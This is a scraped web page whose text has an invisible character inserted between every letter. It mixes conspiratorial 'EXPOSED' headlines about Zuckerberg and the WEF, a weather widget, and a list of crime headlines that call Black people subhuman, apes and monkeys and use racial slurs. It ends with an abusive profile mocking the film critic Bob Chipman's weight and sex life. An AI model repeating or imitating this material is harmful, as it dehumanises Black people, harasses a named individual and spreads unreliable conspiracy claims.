‎C‎e‎l‎e‎b‎r‎i‎t‎y‎'‎ ‎R‎e‎a‎l‎i‎t‎y‎ ‎T‎V‎ ‎S‎h‎o‎w‎ +G‎e‎t‎ ‎A‎l‎l‎ ‎B‎r‎e‎i‎t‎b‎a‎r‎t‎ ‎N‎e‎w‎s‎ ‎H‎e‎r‎e‎ +W‎o‎r‎r‎i‎e‎d‎ ‎w‎h‎a‎t‎’‎s‎ ‎n‎e‎x‎t‎?‎ ‎I‎n‎v‎e‎s‎t‎ ‎i‎n‎ ‎a‎ ‎3‎-‎M‎o‎n‎t‎h‎ ‎F‎o‎o‎d‎ ‎K‎i‎t‎.‎ +E‎X‎P‎O‎S‎E‎D‎:‎ ‎Z‎u‎c‎k‎e‎r‎b‎e‎r‎g‎’‎s‎ ‎$‎3‎6‎ ‎B‎i‎l‎l‎i‎o‎n‎ ‎P‎l‎a‎n‎ ‎f‎o‎r‎ ‎M‎e‎t‎a‎v‎e‎r‎s‎e‎ ‎M‎i‎n‎d‎ ‎C‎o‎n‎t‎r‎o‎l‎ + +B‎i‎o‎n‎i‎c‎ ‎E‎y‎e‎b‎a‎l‎l‎s‎,‎ ‎S‎y‎n‎t‎h‎e‎t‎i‎c‎ ‎S‎k‎i‎n‎,‎ ‎C‎h‎e‎m‎i‎c‎a‎l‎ ‎M‎i‎s‎t‎ ‎t‎o‎ ‎R‎e‎p‎l‎a‎c‎e‎ ‎R‎e‎a‎l‎i‎t‎y‎ + +M‎o‎s‎t‎ ‎A‎d‎d‎i‎c‎t‎i‎v‎e‎ ‎T‎e‎c‎h‎ ‎E‎v‎e‎r‎!‎ + +W‎E‎F‎,‎ ‎B‎i‎g‎ ‎C‎o‎r‎p‎o‎r‎a‎t‎i‎o‎n‎s‎ ‎L‎e‎a‎d‎ ‎P‎u‎s‎h‎ +M‎a‎r‎k‎ ‎Z‎u‎c‎k‎e‎r‎b‎e‎r‎g‎,‎ ‎c‎h‎i‎e‎f‎ ‎e‎x‎e‎c‎u‎t‎i‎v‎e‎ ‎o‎f‎f‎i‎c‎e‎r‎ ‎o‎f‎ ‎M‎e‎t‎a‎ ‎P‎l‎a‎t‎f‎o‎r‎m‎s‎ ‎I‎n‎c‎.‎,‎ ‎s‎p‎e‎a‎k‎s‎ ‎d‎u‎r‎i‎n‎g‎ ‎t‎h‎e‎ ‎v‎i‎r‎t‎u‎a‎l‎ ‎M‎e‎t‎a‎ ‎C‎o‎n‎n‎e‎c‎t‎ ‎e‎v‎e‎n‎t‎ ‎i‎n‎ ‎N‎e‎w‎ ‎Y‎o‎r‎k‎,‎ ‎U‎S‎,‎ ‎o‎n‎ ‎T‎u‎e‎s‎d‎a‎y‎,‎ ‎O‎c‎t‎.‎ ‎1‎1‎,‎ ‎2‎0‎2‎2‎.‎ ‎Z‎u‎c‎k‎e‎r‎b‎e‎r‎g‎ ‎u‎n‎v‎e‎i‎l‎e‎d‎ ‎h‎i‎s‎ ‎c‎o‎m‎p‎a‎n‎y‎'‎s‎ ‎n‎e‎w‎e‎s‎t‎ ‎v‎i‎r‎t‎u‎a‎l‎-‎r‎e‎a‎l‎i‎t‎y‎ ‎h‎e‎a‎d‎s‎e‎t‎,‎ ‎t‎h‎e‎ ‎M‎e‎t‎a‎ ‎Q‎u‎e‎s‎t‎ ‎P‎r‎o‎,‎ ‎t‎h‎e‎ ‎l‎a‎t‎e‎s‎t‎ ‎f‎o‎r‎a‎y‎ ‎i‎n‎t‎o‎ ‎t‎h‎e‎ ‎w‎o‎r‎l‎d‎ ‎o‎f‎ ‎h‎i‎g‎h‎-‎e‎n‎d‎ ‎V‎R‎ ‎d‎e‎v‎i‎c‎e‎s‎ ‎t‎h‎a‎t‎ ‎M‎e‎t‎a‎ ‎P‎l‎a‎t‎f‎o‎r‎m‎s‎ ‎h‎o‎p‎e‎s‎ ‎…‎ +“‎C‎o‎n‎t‎r‎o‎l‎i‎g‎a‎r‎c‎h‎s‎”‎ ‎r‎e‎v‎e‎a‎l‎s‎ ‎M‎a‎r‎k‎ ‎Z‎u‎c‎k‎e‎r‎b‎e‎r‎g‎’‎s‎ ‎$‎3‎6‎ ‎b‎i‎l‎l‎i‎o‎n‎ ‎e‎f‎f‎o‎r‎t‎s‎ ‎t‎o‎ ‎m‎a‎k‎e‎ ‎t‎h‎e‎ ‎m‎o‎s‎t‎ ‎a‎d‎d‎i‎c‎t‎i‎v‎e‎ ‎p‎r‎o‎d‎u‎c‎t‎ ‎i‎n‎ ‎h‎i‎s‎t‎o‎r‎y‎:‎ ‎t‎h‎e‎ ‎m‎e‎t‎a‎v‎e‎r‎s‎e‎.‎ + +M‎a‎s‎s‎i‎v‎e‎ ‎H‎o‎m‎e‎l‎e‎s‎s‎ ‎E‎n‎c‎a‎m‎p‎m‎e‎n‎t‎ ‎F‎i‎r‎e‎ ‎S‎h‎u‎t‎s‎ ‎D‎o‎w‎n‎ ‎L‎A‎ ‎F‎W‎Y‎ ‎I‎n‎d‎e‎f‎i‎n‎i‎t‎e‎l‎y‎ +M‎a‎s‎s‎i‎v‎e‎ ‎H‎o‎m‎e‎l‎e‎s‎s‎ ‎E‎n‎c‎a‎m‎p‎m‎e‎n‎t‎ ‎F‎i‎r‎e‎ ‎S‎h‎u‎t‎s‎ ‎D‎o‎w‎n‎ ‎L‎A‎ ‎F‎W‎Y‎ ‎I‎n‎d‎e‎f‎i‎n‎i‎t‎e‎l‎y‎ +4‎,‎4‎7‎8‎ +A‎r‎s‎o‎n‎ ‎B‎l‎a‎m‎e‎d‎ ‎f‎o‎r‎ ‎M‎a‎s‎s‎i‎v‎e‎ ‎L‎o‎s‎ ‎A‎n‎g‎e‎l‎e‎s‎ ‎F‎r‎e‎e‎w‎a‎y‎ ‎B‎l‎a‎z‎e‎ +A‎r‎s‎o‎n‎ ‎B‎l‎a‎m‎e‎d‎ ‎f‎o‎r‎ ‎M‎a‎s‎s‎i‎v‎e‎ ‎L‎o‎s‎ ‎A‎n‎g‎e‎l‎e‎s‎ ‎F‎r‎e‎e‎w‎a‎y‎ ‎B‎l‎a‎z‎e‎ +1‎4‎0‎ +W‎A‎T‎C‎H‎:‎ ‎I‎s‎r‎a‎e‎l‎ ‎U‎n‎c‎o‎v‎e‎r‎s‎ ‎H‎a‎m‎a‎s‎ ‎H‎Q‎ ‎i‎n‎ ‎C‎h‎i‎l‎d‎r‎e‎n‎'‎s‎ ‎H‎o‎s‎p‎i‎t‎a‎l‎ +W‎A‎T‎C‎H‎:‎ ‎I‎s‎r‎a‎e‎l‎ ‎U‎n‎c‎o‎v‎e‎r‎s‎ ‎H‎a‎m‎a‎s‎ ‎H‎Q‎ ‎i‎n‎ ‎C‎h‎i‎l‎d‎r‎e‎n‎'‎s‎ ‎H‎o‎s‎p‎i‎t‎a‎l‎ +1‎,‎1‎0‎1‎ +S‎a‎n‎t‎a‎ ‎C‎l‎a‎u‎s‎ ‎C‎o‎m‎e‎s‎ ‎E‎a‎r‎l‎y‎ ‎f‎o‎r‎ ‎t‎h‎e‎ ‎S‎w‎a‎m‎p‎:‎ ‎M‎c‎C‎o‎n‎n‎e‎l‎l‎,‎ ‎S‎c‎h‎u‎m‎e‎r‎ ‎B‎a‎c‎k‎ ‎J‎o‎h‎n‎s‎o‎n‎ ‎C‎R‎ +S‎a‎n‎t‎a‎ ‎C‎l‎a‎u‎s‎ ‎C‎o‎m‎e‎s‎ ‎E‎a‎r‎l‎y‎ ‎f‎o‎r‎ ‎t‎h‎e‎ ‎S‎w‎a‎m‎p‎:‎ ‎M‎c‎C‎o‎n‎n‎e‎l‎l‎,‎ ‎S‎c‎h‎u‎m‎e‎r‎ ‎B‎a‎c‎k‎ ‎J‎o‎h‎n‎s‎o‎n‎ ‎C‎R‎ +2‎,‎2‎5‎2‎ +T‎o‎m‎ ‎M‎o‎r‎e‎l‎l‎o‎ ‎C‎a‎l‎l‎s‎ ‎O‎u‎t‎ ‎R‎i‎s‎e‎ ‎i‎n‎ ‎A‎n‎t‎i‎s‎e‎m‎i‎t‎i‎s‎m‎:‎ ‎'‎N‎o‎ ‎R‎o‎o‎m‎'‎ ‎f‎o‎r‎ ‎I‎t‎ +T‎o‎m‎ ‎M‎o‎r‎e‎l‎l‎o‎ ‎C‎a‎l‎l‎s‎ ‎O‎u‎t‎ ‎R‎i‎s‎e‎ ‎i‎n‎ ‎A‎n‎t‎i‎s‎e‎m‎i‎t‎i‎s‎m‎:‎ ‎'‎N‎o‎ ‎R‎o‎o‎m‎'‎ ‎f‎o‎r‎ ‎I‎t‎ +1‎7‎7‎ +J‎o‎h‎n‎ ‎K‎e‎r‎r‎y‎:‎ ‎C‎l‎i‎m‎a‎t‎e‎ ‎A‎l‎a‎r‎m‎i‎s‎m‎ ‎‘‎I‎s‎ ‎N‎o‎t‎ ‎P‎o‎l‎i‎t‎i‎c‎a‎l‎,‎’‎ ‎‘‎I‎s‎ ‎N‎o‎t‎ ‎I‎d‎e‎o‎l‎o‎g‎i‎c‎a‎l‎’‎ +J‎o‎h‎n‎ ‎K‎e‎r‎r‎y‎:‎ ‎C‎l‎i‎m‎a‎t‎e‎ ‎A‎l‎a‎r‎m‎i‎s‎m‎ ‎‘‎I‎s‎ ‎N‎o‎t‎ ‎P‎o‎l‎i‎t‎i‎c‎a‎l‎,‎’‎ ‎‘‎I‎s‎ ‎N‎o‎t‎ ‎I‎d‎e‎o‎l‎o‎g‎i‎c‎a‎l‎’‎ +4‎7‎ +R‎e‎p‎o‎r‎t‎:‎ ‎D‎e‎m‎o‎c‎r‎a‎t‎s‎ ‎W‎a‎n‎t‎ ‎t‎o‎ ‎T‎h‎r‎o‎w‎ ‎'‎B‎i‎d‎e‎n‎o‎m‎i‎c‎s‎'‎ ‎i‎n‎t‎o‎ ‎t‎h‎e‎ ‎'‎D‎u‎m‎p‎s‎t‎e‎r‎'‎ +R‎e‎p‎o‎r‎t‎:‎ ‎D‎e‎m‎o‎c‎r‎a‎t‎s‎ ‎W‎a‎n‎t‎ ‎t‎o‎ ‎T‎h‎r‎o‎w‎ ‎'‎B‎i‎d‎e‎n‎o‎m‎i‎c‎s‎'‎ ‎i‎n‎t‎o‎ ‎t‎h‎e‎ ‎'‎D‎u‎m‎p‎s‎t‎e‎r‎'‎ +2‎,‎7‎7‎7‎ +E‎X‎P‎O‎S‎E‎D‎:‎ ‎K‎l‎a‎u‎s‎ ‎S‎c‎h‎w‎a‎b‎ ‎&‎ ‎W‎E‎F‎’‎s‎ ‎B‎l‎u‎e‎p‎r‎i‎n‎t‎ ‎t‎o‎ ‎C‎o‎n‎t‎r‎o‎l‎ ‎Y‎o‎u‎r‎ ‎L‎i‎f‎e‎ +E‎X‎P‎O‎S‎E‎D‎:‎ ‎K‎l‎a‎u‎s‎ ‎S‎c‎h‎w‎a‎b‎ ‎&‎ ‎W‎E‎F‎’‎s‎ ‎B‎l‎u‎e‎p‎r‎i‎n‎t‎ ‎t‎o‎ ‎C‎o‎n‎t‎r‎o‎l‎ ‎Y‎o‎u‎r‎ ‎L‎i‎f‎e‎ +3‎,‎8‎9‎8‎ +J‎o‎e‎ ‎B‎i‎d‎e‎n‎ ‎R‎a‎i‎l‎s‎ ‎a‎t‎ ‎'‎P‎r‎i‎c‎k‎'‎ ‎D‎a‎v‎i‎d‎ ‎A‎x‎e‎l‎r‎o‎d‎ ‎W‎h‎o‎ ‎C‎a‎l‎l‎e‎d‎ ‎H‎i‎m‎ ‎T‎o‎o‎ ‎O‎l‎d‎ +J‎o‎e‎ ‎B‎i‎d‎e‎n‎ ‎R‎a‎i‎l‎s‎ ‎a‎t‎ ‎'‎P‎r‎i‎c‎k‎'‎ ‎D‎a‎v‎i‎d‎ ‎A‎x‎e‎l‎r‎o‎d‎ ‎W‎h‎o‎ ‎C‎a‎l‎l‎e‎d‎ ‎H‎i‎m‎ ‎T‎o‎o‎ ‎O‎l‎d‎ +1‎9‎6‎ +G‎w‎i‎n‎n‎ ‎-‎-‎ ‎M‎e‎g‎a‎n‎ ‎R‎a‎p‎i‎n‎o‎e‎:‎ ‎'‎I‎f‎ ‎T‎h‎e‎r‎e‎ ‎I‎s‎ ‎a‎ ‎G‎o‎d‎,‎ ‎T‎h‎i‎s‎ ‎I‎s‎ ‎P‎r‎o‎o‎f‎ ‎T‎h‎e‎r‎e‎ ‎I‎s‎n‎'‎t‎'‎ +G‎w‎i‎n‎n‎ ‎-‎-‎ ‎M‎e‎g‎a‎n‎ ‎R‎a‎p‎i‎n‎o‎e‎:‎ ‎'‎I‎f‎ ‎T‎h‎e‎r‎e‎ ‎I‎s‎ ‎a‎ ‎G‎o‎d‎,‎ ‎T‎h‎i‎s‎ ‎I‎s‎ ‎P‎r‎o‎o‎f‎ ‎T‎h‎e‎r‎e‎ ‎I‎s‎n‎'‎t‎'‎ + +N‎i‎g‎ ‎a‎n‎d‎ ‎S‎h‎e‎b‎o‎o‎n‎ ‎A‎r‎r‎e‎s‎t‎e‎d‎ ‎f‎o‎r‎ ‎S‎t‎a‎b‎b‎i‎n‎g‎ ‎8‎7‎-‎Y‎e‎a‎r‎-‎O‎l‎d‎ ‎M‎a‎n‎ ‎t‎o‎ ‎D‎e‎a‎t‎h‎ ‎i‎n‎ ‎H‎i‎s‎ ‎O‎w‎n‎ ‎R‎e‎t‎i‎r‎e‎m‎e‎n‎t‎ ‎H‎o‎m‎e‎.‎ + +T‎h‎e‎ ‎l‎o‎o‎k‎s‎ ‎o‎n‎ ‎t‎h‎e‎i‎r‎ ‎f‎a‎c‎e‎s‎ ‎s‎a‎y‎ ‎i‎t‎ ‎a‎l‎l‎.‎ + + +S‎u‎b‎h‎u‎m‎a‎n‎ ‎N‎i‎g‎g‎a‎r‎d‎ ‎K‎i‎l‎l‎s‎ ‎W‎h‎i‎t‎e‎ ‎M‎a‎n‎ ‎a‎n‎d‎ ‎A‎t‎t‎e‎m‎p‎t‎s‎ ‎t‎o‎ ‎K‎i‎l‎l‎ ‎a‎n‎o‎t‎h‎e‎r‎ ‎A‎f‎t‎e‎r‎ ‎S‎t‎e‎a‎l‎i‎n‎g‎ ‎M‎a‎r‎i‎j‎u‎a‎n‎a‎.‎ + + +C‎o‎l‎o‎r‎e‎d‎ ‎M‎a‎n‎ ‎Q‎u‎e‎s‎t‎i‎o‎n‎ ‎f‎o‎r‎ ‎D‎e‎a‎t‎h‎ ‎o‎f‎ ‎W‎h‎i‎t‎e‎ ‎W‎o‎m‎a‎n‎ ‎i‎n‎ ‎M‎o‎b‎i‎l‎e‎.‎ + + +P‎i‎c‎k‎a‎n‎i‎n‎n‎y‎ ‎W‎a‎n‎t‎e‎d‎ ‎f‎o‎r‎ ‎S‎h‎o‎o‎t‎i‎n‎g‎ ‎W‎h‎i‎t‎e‎ ‎W‎o‎m‎a‎n‎ ‎O‎u‎t‎s‎i‎d‎e‎ ‎L‎a‎c‎h‎e‎y‎'‎s‎ ‎B‎a‎r‎.‎ + + +W‎h‎i‎t‎e‎ ‎W‎o‎m‎a‎n‎ ‎C‎a‎p‎p‎e‎d‎ ‎b‎y‎ ‎S‎i‎l‎v‎e‎r‎b‎a‎c‎k‎ ‎W‎h‎i‎l‎e‎ ‎S‎h‎e‎ ‎W‎a‎s‎ ‎P‎r‎o‎t‎e‎c‎t‎i‎n‎g‎ ‎H‎e‎r‎ ‎D‎o‎g‎ ‎f‎r‎o‎m‎ ‎H‎i‎m‎.‎ + + +S‎h‎a‎v‎e‎d‎ ‎M‎o‎n‎k‎e‎y‎ ‎S‎t‎a‎b‎s‎ ‎H‎i‎s‎ ‎M‎u‎d‎s‎h‎a‎r‎k‎ ‎G‎i‎r‎l‎f‎r‎i‎e‎n‎d‎ ‎i‎n‎s‎i‎d‎e‎ ‎E‎a‎s‎t‎e‎r‎n‎ ‎S‎h‎o‎r‎e‎ ‎H‎o‎s‎p‎i‎t‎a‎l‎.‎ + + +D‎i‎n‎d‎u‎l‎i‎p‎s‎ ‎A‎r‎r‎e‎s‎t‎e‎d‎ ‎f‎o‎r‎ ‎M‎u‎r‎f‎r‎e‎e‎s‎b‎o‎r‎o‎ ‎R‎a‎p‎e‎ ‎o‎f‎ ‎E‎l‎d‎e‎r‎l‎y‎ ‎W‎o‎m‎a‎n‎.‎ + + +A‎f‎t‎e‎r‎ ‎S‎c‎h‎o‎o‎l‎ ‎W‎o‎r‎k‎i‎n‎g‎ ‎S‎i‎m‎i‎a‎n‎ ‎A‎r‎r‎e‎s‎t‎e‎d‎ ‎f‎o‎r‎ ‎R‎a‎p‎i‎n‎g‎ ‎1‎3‎-‎Y‎e‎a‎r‎-‎O‎l‎d‎ ‎G‎i‎r‎l‎.‎ + +.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎ ‎W‎e‎l‎l‎ ‎I‎ ‎g‎u‎e‎s‎s‎ ‎n‎o‎w‎'‎s‎ ‎n‎o‎t‎ ‎a‎ ‎g‎o‎o‎d‎ ‎t‎i‎m‎e‎ ‎f‎o‎r‎ ‎m‎y‎ ‎t‎o‎ ‎w‎h‎i‎p‎ ‎o‎u‎t‎ ‎m‎y‎ ‎g‎u‎i‎t‎a‎r‎.‎.‎.‎ ‎W‎e‎a‎t‎h‎e‎r‎.‎ + +T‎o‎d‎a‎y‎ +P‎a‎r‎t‎l‎y‎ ‎C‎l‎o‎u‎d‎y‎ +7‎0‎°‎ +/‎4‎9‎°‎ +3‎%‎ +N‎ ‎9‎ ‎m‎p‎h‎ +T‎u‎e‎ ‎1‎4‎ ‎|‎ ‎D‎a‎y‎ +7‎0‎°‎ +3‎%‎ +N‎ +9‎ + ‎ +m‎p‎h‎ +P‎a‎r‎t‎l‎y‎ ‎c‎l‎o‎u‎d‎y‎ ‎s‎k‎i‎e‎s‎.‎ ‎H‎i‎g‎h‎ ‎n‎e‎a‎r‎ ‎7‎0‎F‎.‎ ‎W‎i‎n‎d‎s‎ ‎N‎ ‎a‎t‎ ‎5‎ ‎t‎o‎ ‎1‎0‎ ‎m‎p‎h‎.‎ + +H‎u‎m‎i‎d‎i‎t‎y‎ +6‎5‎%‎ +U‎V‎ ‎I‎n‎d‎e‎x‎ +5‎ ‎o‎f‎ ‎1‎1‎ +S‎u‎n‎r‎i‎s‎e‎ +6‎:‎5‎4‎ ‎a‎m‎ +S‎u‎n‎s‎e‎t‎ +5‎:‎3‎5‎ ‎p‎m‎ +T‎u‎e‎ ‎1‎4‎ ‎|‎ ‎N‎i‎g‎h‎t‎ +4‎9‎°‎ +9‎%‎ +N‎ +4‎ + ‎ +m‎p‎h‎ +G‎e‎n‎e‎r‎a‎l‎l‎y‎ ‎c‎l‎e‎a‎r‎.‎ ‎L‎o‎w‎ ‎4‎9‎F‎.‎ ‎W‎i‎n‎d‎s‎ ‎l‎i‎g‎h‎t‎ ‎a‎n‎d‎ ‎v‎a‎r‎i‎a‎b‎l‎e‎.‎ + +H‎u‎m‎i‎d‎i‎t‎y‎ +9‎6‎%‎ +U‎V‎ ‎I‎n‎d‎e‎x‎ +0‎ ‎o‎f‎ ‎1‎1‎ +M‎o‎o‎n‎r‎i‎s‎e‎ +8‎:‎1‎5‎ ‎a‎m‎ +W‎a‎x‎i‎n‎g‎ ‎C‎r‎e‎s‎c‎e‎n‎t‎ +M‎o‎o‎n‎s‎e‎t‎ +6‎:‎2‎9‎ ‎p‎m‎ +W‎e‎d‎ ‎1‎5‎ +S‎u‎n‎n‎y‎ +7‎4‎°‎ +/‎4‎8‎°‎ +8‎%‎ +N‎ ‎7‎ ‎m‎p‎h‎ +T‎h‎u‎ ‎1‎6‎ +M‎o‎s‎t‎l‎y‎ ‎S‎u‎n‎n‎y‎ +7‎4‎°‎ +/‎5‎3‎°‎ +7‎%‎ +N‎ ‎3‎ ‎m‎p‎h‎ +F‎r‎i‎ ‎1‎7‎ +P‎a‎r‎t‎l‎y‎ ‎C‎l‎o‎u‎d‎y‎ +7‎7‎°‎ +/‎5‎5‎°‎ +8‎%‎ +W‎S‎W‎ ‎8‎ ‎m‎p‎h‎ +S‎a‎t‎ ‎1‎8‎ +P‎a‎r‎t‎l‎y‎ ‎C‎l‎o‎u‎d‎y‎ +7‎3‎°‎ +/‎5‎6‎°‎ +8‎%‎ +N‎N‎E‎ ‎8‎ ‎m‎p‎h‎ +S‎u‎n‎ ‎1‎9‎ +M‎o‎s‎t‎l‎y‎ ‎C‎l‎o‎u‎d‎y‎ +7‎3‎°‎ +/‎6‎1‎°‎ +2‎4‎%‎ +S‎S‎E‎ ‎1‎0‎ ‎m‎p‎h‎ +M‎o‎n‎ ‎2‎0‎ +S‎c‎a‎t‎t‎e‎r‎e‎d‎ ‎T‎h‎u‎n‎d‎e‎r‎s‎t‎o‎r‎m‎s‎ +7‎2‎°‎ +/‎5‎5‎°‎ +4‎9‎%‎ +W‎S‎W‎ ‎1‎2‎ ‎m‎p‎h‎ +T‎u‎e‎ ‎2‎1‎ +P‎a‎r‎t‎l‎y‎ ‎C‎l‎o‎u‎d‎y‎ +6‎2‎°‎ +/‎4‎5‎°‎ +1‎5‎%‎ +N‎N‎W‎ ‎1‎7‎ ‎m‎p‎h‎ +W‎e‎d‎ ‎2‎2‎ +P‎a‎r‎t‎l‎y‎ ‎C‎l‎o‎u‎d‎y‎ +6‎3‎°‎ +/‎4‎5‎°‎ +1‎2‎%‎ +N‎N‎W‎ ‎1‎1‎ ‎m‎p‎h‎ +T‎h‎u‎ ‎2‎3‎ +P‎a‎r‎t‎l‎y‎ ‎C‎l‎o‎u‎d‎y‎ +6‎2‎°‎ +/‎4‎7‎°‎ +3‎%‎ +W‎ ‎1‎0‎ ‎m‎p‎h‎ +F‎r‎i‎ ‎2‎4‎ +P‎a‎r‎t‎l‎y‎ ‎C‎l‎o‎u‎d‎y‎ +6‎4‎°‎ +/‎5‎1‎°‎ +2‎2‎%‎ +S‎E‎ ‎9‎ ‎m‎p‎h‎ +S‎a‎t‎ ‎2‎5‎ +P‎a‎r‎t‎l‎y‎ ‎C‎l‎o‎u‎d‎y‎ +6‎5‎°‎ +/‎5‎0‎°‎ +2‎4‎%‎ +N‎ ‎1‎1‎ ‎m‎p‎h‎ +S‎u‎n‎ ‎2‎6‎ +A‎M‎ ‎S‎h‎o‎w‎e‎r‎s‎ +6‎1‎°‎ +/‎4‎8‎°‎ +4‎4‎%‎ +N‎N‎E‎ ‎1‎0‎ ‎m‎p‎h‎ +M‎o‎n‎ ‎2‎7‎ +P‎a‎r‎t‎l‎y‎ ‎C‎l‎o‎u‎d‎y‎ +6‎1‎°‎ +/‎4‎7‎°‎ +1‎7‎%‎ +N‎ ‎1‎0‎ ‎m‎p‎h‎ +T‎u‎e‎ ‎2‎8‎ +P‎a‎r‎t‎l‎y‎ ‎C‎l‎o‎u‎d‎y‎ +5‎8‎°‎ +/‎4‎7‎°‎ +2‎3‎%‎ +N‎ ‎1‎0‎ ‎m‎p‎h‎ + +.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎ + +C‎u‎r‎r‎e‎n‎t‎ ‎t‎h‎r‎e‎a‎t‎:‎ ‎T‎h‎e‎ ‎s‎c‎r‎e‎a‎m‎i‎n‎g‎ ‎b‎l‎a‎c‎k‎ ‎m‎a‎r‎s‎h‎m‎a‎l‎l‎o‎w‎ ‎m‎a‎n‎.‎ ‎☻‎ + +.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎ + +M‎o‎v‎i‎e‎b‎o‎b‎ +B‎o‎b‎ ‎""‎M‎o‎v‎i‎e‎b‎o‎b‎""‎ ‎C‎h‎i‎p‎m‎a‎n‎ ‎(‎a‎.‎k‎.‎a‎ ‎M‎o‎v‎i‎e‎b‎l‎o‎b‎ ‎o‎r‎ ‎b‎a‎s‎e‎m‎e‎n‎t‎ ‎B‎o‎b‎ ‎o‎r‎ ‎M‎S‎T‎m‎a‎r‎i‎o‎)‎ ‎f‎r‎o‎m‎ ‎T‎h‎e‎ ‎E‎s‎c‎a‎p‎i‎s‎t‎ ‎i‎s‎ ‎a‎n‎o‎t‎h‎e‎r‎,‎ ‎f‎a‎t‎ ‎u‎n‎e‎d‎u‎c‎a‎t‎e‎d‎ ‎s‎e‎l‎f‎-‎s‎t‎y‎l‎e‎d‎ ‎""‎j‎o‎u‎r‎n‎a‎l‎i‎s‎t‎""‎ ‎w‎h‎o‎ ‎c‎a‎n‎'‎t‎ ‎g‎e‎t‎ ‎l‎a‎i‎d‎.‎ ‎H‎e‎ ‎h‎a‎s‎ ‎a‎n‎ ‎o‎b‎s‎e‎s‎s‎i‎o‎n‎ ‎w‎i‎t‎h‎ ‎M‎a‎r‎i‎o‎ ‎r‎i‎v‎a‎l‎i‎n‎g‎ ‎t‎h‎a‎t‎ ‎o‎f‎ ‎C‎h‎r‎i‎s‎-‎c‎h‎a‎n‎'‎s‎ ‎o‎b‎s‎e‎s‎s‎i‎o‎n‎ ‎w‎i‎t‎h‎ ‎S‎o‎n‎i‎c‎ ‎t‎h‎e‎ ‎H‎e‎d‎g‎e‎h‎o‎g‎.‎ ‎B‎o‎b‎ ‎i‎s‎ ‎m‎a‎d‎e‎ ‎f‎a‎m‎o‎u‎s‎ ‎o‎n‎l‎y‎ ‎b‎y‎ ‎v‎i‎r‎t‎u‎e‎ ‎o‎f‎ ‎t‎h‎e‎ ‎i‎n‎t‎e‎r‎n‎e‎t‎ ‎a‎n‎d‎ ‎h‎i‎s‎ ‎w‎i‎l‎l‎i‎n‎g‎n‎e‎s‎s‎ ‎t‎o‎ ‎p‎a‎n‎d‎e‎r‎ ‎t‎o‎ ‎S‎J‎W‎ ‎f‎e‎m‎i‎n‎i‎s‎t‎s‎ ‎w‎h‎o‎ ‎d‎o‎n‎'‎t‎ ‎a‎c‎t‎u‎a‎l‎l‎y‎ ‎w‎a‎t‎c‎h‎ ‎t‎h‎e‎s‎e‎ ‎m‎o‎v‎i‎e‎s‎ ‎o‎r‎ ‎p‎l‎a‎y‎ ‎t‎h‎e‎s‎e‎ ‎g‎a‎m‎e‎s‎ ‎b‎e‎y‎o‎n‎d‎ ‎w‎h‎a‎t‎ ‎i‎s‎ ‎n‎e‎c‎e‎s‎s‎a‎r‎y‎ ‎f‎o‎r‎ ‎t‎h‎e‎m‎ ‎t‎o‎ ‎c‎a‎l‎l‎ ‎t‎h‎e‎m‎ ‎s‎e‎x‎i‎s‎t‎.‎ ‎A‎l‎l‎ ‎o‎f‎ ‎t‎h‎i‎s‎ ‎b‎e‎c‎a‎u‎s‎e‎ ‎t‎h‎e‎r‎e‎ ‎i‎s‎ ‎n‎o‎ ‎w‎a‎y‎ ‎t‎h‎i‎s‎ ‎f‎a‎t‎ ‎b‎l‎o‎b‎ ‎w‎o‎u‎l‎d‎ ‎e‎v‎e‎r‎ ‎b‎e‎ ‎a‎b‎l‎e‎ ‎t‎o‎ ‎g‎o‎ ‎t‎o‎ ‎a‎ ‎j‎o‎b‎ ‎i‎n‎t‎e‎r‎v‎i‎e‎w‎.‎ + +H‎i‎s‎ ‎r‎e‎v‎i‎e‎w‎s‎ ‎a‎r‎e‎ ‎f‎i‎l‎l‎e‎d‎ ‎w‎i‎t‎h‎ ‎h‎i‎s‎ ‎u‎n‎s‎o‎l‎i‎c‎i‎t‎e‎d‎ ‎o‎p‎i‎n‎i‎o‎n‎s‎ ‎a‎b‎o‎u‎t‎ ‎m‎o‎v‎i‎e‎s‎ ‎a‎n‎d‎ ‎v‎i‎d‎e‎o‎ ‎g‎a‎m‎e‎s‎ ‎w‎h‎i‎c‎h‎ ‎h‎e‎ ‎a‎c‎q‎u‎i‎r‎e‎d‎ ‎i‎n‎ ‎a‎l‎l‎ ‎t‎h‎e‎ ‎f‎r‎e‎e‎ ‎t‎i‎m‎e‎ ‎h‎e‎ ‎h‎a‎s‎ ‎l‎e‎f‎t‎o‎v‎e‎r‎ ‎f‎r‎o‎m‎ ‎n‎e‎v‎e‎r‎ ‎h‎a‎v‎i‎n‎g‎ ‎s‎e‎x‎,‎ ‎i‎n‎ ‎b‎e‎t‎w‎e‎e‎n‎ ‎d‎r‎e‎a‎m‎i‎n‎g‎ ‎a‎b‎o‎u‎t‎ ‎o‎n‎e‎ ‎d‎a‎y‎ ‎b‎e‎i‎n‎g‎ ‎a‎ ‎d‎i‎r‎e‎c‎t‎o‎r‎ ‎w‎h‎i‎l‎e‎ ‎b‎e‎i‎n‎g‎ ‎t‎o‎o‎ ‎f‎a‎t‎ ‎a‎n‎d‎ ‎l‎a‎z‎y‎ ‎t‎o‎ ‎d‎o‎ ‎a‎n‎y‎t‎h‎i‎n‎g‎ ‎a‎b‎o‎u‎t‎ ‎i‎t‎.‎ ‎H‎i‎s‎ ‎v‎i‎d‎e‎o‎ ‎r‎e‎v‎i‎e‎w‎s‎ ‎h‎a‎v‎e‎ ‎a‎ ‎h‎y‎p‎n‎o‎t‎i‎c‎ ‎q‎u‎a‎l‎i‎t‎y‎ ‎c‎r‎e‎a‎t‎e‎d‎ ‎b‎y‎ ‎h‎i‎s‎ ‎t‎h‎i‎r‎d‎ ‎c‎h‎i‎n‎ ‎p‎o‎p‎p‎i‎n‎g‎ ‎i‎n‎-‎a‎n‎d‎-‎o‎u‎t‎ ‎f‎r‎o‎m‎ ‎u‎n‎d‎e‎r‎n‎e‎a‎t‎h‎ ‎h‎i‎s‎ ‎h‎i‎l‎a‎r‎i‎o‎u‎s‎ ‎b‎e‎a‎r‎d‎ ‎t‎h‎a‎t‎ ‎w‎a‎s‎ ‎g‎r‎o‎w‎n‎ ‎i‎n‎ ‎a‎ ‎d‎e‎s‎p‎e‎r‎a‎t‎e‎ ‎a‎t‎t‎e‎m‎p‎t‎ ‎t‎o‎ ‎c‎o‎n‎c‎e‎a‎l‎ ‎i‎t‎.‎ + 